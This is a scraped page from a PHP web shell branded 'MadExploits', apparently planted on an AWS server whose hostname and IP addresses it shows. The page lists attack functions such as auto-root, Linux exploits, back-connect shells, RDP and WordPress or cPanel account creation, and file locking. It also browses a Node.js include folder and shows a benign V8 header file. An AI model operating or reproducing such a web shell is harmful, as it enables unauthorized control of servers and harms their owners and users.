Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.217.140.32
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
nodejs /
v20.12.2 /
include /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
cppgc
[ DIR ]
drwxr-xr-x
libplatform
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
uv
[ DIR ]
drwxr-xr-x
common.gypi
23.29
KB
-rw-r--r--
config.gypi
26.79
KB
-rw-r--r--
js_native_api.h
31.57
KB
-rw-r--r--
js_native_api_types.h
6.6
KB
-rw-r--r--
node.h
65.87
KB
-rw-r--r--
node_api.h
10.08
KB
-rw-r--r--
node_api_types.h
1.57
KB
-rw-r--r--
node_buffer.h
3.6
KB
-rw-r--r--
node_object_wrap.h
3.78
KB
-rw-r--r--
node_version.h
4.08
KB
-rw-r--r--
uv.h
67.74
KB
-rw-r--r--
v8-array-buffer.h
17.45
KB
-rw-r--r--
v8-callbacks.h
15.03
KB
-rw-r--r--
v8-container.h
3.4
KB
-rw-r--r--
v8-context.h
16.13
KB
-rw-r--r--
v8-cppgc.h
7.46
KB
-rw-r--r--
v8-data.h
1.58
KB
-rw-r--r--
v8-date.h
1.19
KB
-rw-r--r--
v8-debug.h
5.04
KB
-rw-r--r--
v8-embedder-heap.h
1.9
KB
-rw-r--r--
v8-embedder-state-scope.h
1.51
KB
-rw-r--r--
v8-exception.h
6.98
KB
-rw-r--r--
v8-extension.h
1.83
KB
-rw-r--r--
v8-external.h
924
B
-rw-r--r--
v8-forward.h
1.62
KB
-rw-r--r--
v8-function-callback.h
15.87
KB
-rw-r--r--
v8-function.h
4.24
KB
-rw-r--r--
v8-initialization.h
10.23
KB
-rw-r--r--
v8-internal.h
39.18
KB
-rw-r--r--
v8-isolate.h
60.97
KB
-rw-r--r--
v8-json.h
1.32
KB
-rw-r--r--
v8-local-handle.h
14.98
KB
-rw-r--r--
v8-locker.h
3.86
KB
-rw-r--r--
v8-maybe.h
4.47
KB
-rw-r--r--
v8-memory-span.h
1.25
KB
-rw-r--r--
v8-message.h
6.29
KB
-rw-r--r--
v8-microtask-queue.h
4.95
KB
-rw-r--r--
v8-microtask.h
861
B
-rw-r--r--
v8-object.h
28.51
KB
-rw-r--r--
v8-persistent-handle.h
18.7
KB
-rw-r--r--
v8-platform.h
41.37
KB
-rw-r--r--
v8-primitive-object.h
2.53
KB
-rw-r--r--
v8-primitive.h
27.65
KB
-rw-r--r--
v8-profiler.h
40.47
KB
-rw-r--r--
v8-promise.h
5.17
KB
-rw-r--r--
v8-proxy.h
1.23
KB
-rw-r--r--
v8-regexp.h
3.1
KB
-rw-r--r--
v8-script.h
28.08
KB
-rw-r--r--
v8-snapshot.h
6.97
KB
-rw-r--r--
v8-statistics.h
6.8
KB
-rw-r--r--
v8-template.h
37.42
KB
-rw-r--r--
v8-traced-handle.h
11.85
KB
-rw-r--r--
v8-typed-array.h
8.06
KB
-rw-r--r--
v8-unwinder.h
4.63
KB
-rw-r--r--
v8-value-serializer.h
10.09
KB
-rw-r--r--
v8-value.h
13.45
KB
-rw-r--r--
v8-version.h
772
B
-rw-r--r--
v8-wasm.h
6
KB
-rw-r--r--
v8-weak-callback-info.h
2.41
KB
-rw-r--r--
v8.h
3.69
KB
-rw-r--r--
v8config.h
31.61
KB
-rw-r--r--
zconf.h
16.77
KB
-rw-r--r--
zlib.h
95.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : v8-weak-callback-info.h
// Copyright 2021 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef INCLUDE_V8_WEAK_CALLBACK_INFO_H_ #define INCLUDE_V8_WEAK_CALLBACK_INFO_H_ #include "v8config.h" // NOLINT(build/include_directory) namespace v8 { class Isolate; namespace api_internal { V8_EXPORT void InternalFieldOutOfBounds(int index); } // namespace api_internal static const int kInternalFieldsInWeakCallback = 2; static const int kEmbedderFieldsInWeakCallback = 2; template <typename T> class WeakCallbackInfo { public: using Callback = void (*)(const WeakCallbackInfo<T>& data); WeakCallbackInfo(Isolate* isolate, T* parameter, void* embedder_fields[kEmbedderFieldsInWeakCallback], Callback* callback) : isolate_(isolate), parameter_(parameter), callback_(callback) { for (int i = 0; i < kEmbedderFieldsInWeakCallback; ++i) { embedder_fields_[i] = embedder_fields[i]; } } V8_INLINE Isolate* GetIsolate() const { return isolate_; } V8_INLINE T* GetParameter() const { return parameter_; } V8_INLINE void* GetInternalField(int index) const; // When first called, the embedder MUST Reset() the Global which triggered the // callback. The Global itself is unusable for anything else. No v8 other api // calls may be called in the first callback. Should additional work be // required, the embedder must set a second pass callback, which will be // called after all the initial callbacks are processed. // Calling SetSecondPassCallback on the second pass will immediately crash. void SetSecondPassCallback(Callback callback) const { *callback_ = callback; } private: Isolate* isolate_; T* parameter_; Callback* callback_; void* embedder_fields_[kEmbedderFieldsInWeakCallback]; }; /** * Weakness type for weak handles. */ enum class WeakCallbackType { /** * Passes a user-defined void* parameter back to the callback. */ kParameter, /** * Passes the first two internal fields of the object back to the callback. */ kInternalFields, }; template <class T> void* WeakCallbackInfo<T>::GetInternalField(int index) const { #ifdef V8_ENABLE_CHECKS if (index < 0 || index >= kEmbedderFieldsInWeakCallback) { api_internal::InternalFieldOutOfBounds(index); } #endif return embedder_fields_[index]; } } // namespace v8 #endif // INCLUDE_V8_WEAK_CALLBACK_INFO_H_
Close